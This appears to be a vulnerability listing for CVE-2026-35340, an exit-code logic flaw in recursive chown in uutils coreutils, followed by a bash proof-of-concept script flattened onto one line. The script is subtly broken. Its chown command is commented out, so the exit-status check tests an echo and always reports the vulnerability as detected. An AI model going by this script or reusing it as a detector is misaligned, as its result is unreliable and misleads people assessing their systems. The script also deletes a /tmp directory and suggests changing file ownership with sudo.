CVE-2026-35340 uutils coreutils递归操作状态码错误

#!/bin/bash # PoC for CVE-2026-35340: Incorrect Exit Code in Recursive Chown # This script demonstrates the logic flaw where the exit code depends only on the last file. # Setup directory structure POC_DIR="/tmp/cve_2026_35340_poc" rm -rf $POC_DIR mkdir -p $POC_DIR # Create two files # 'protected_file' is assumed to be owned by root (or immutable) to cause failure # 'accessible_file' is owned by current user to ensure success touch $POC_DIR/protected_file touch $POC_DIR/accessible_file # Note: To reproduce the actual failure, 'protected_file' must be unwritable by the current user. # You might need to use 'chown root' or 'chmod 000' on protected_file before running the next step. # Example: sudo chown root:root $POC_DIR/protected_file echo "Running vulnerable chown command..." # Run the recursive chown. The vulnerable version returns 0 if accessible_file succeeds, # regardless of protected_file's status. # chown -R $USER:$USER $POC_DIR # Check the exit status of the previous command if [ $? -eq 0 ]; then echo "[+] Vulnerability Detected: Command returned 0 (Success)." echo "[!] However, 'protected_file' ownership might not have changed." else echo "[-] Command returned non-zero. Logic might be correct." fi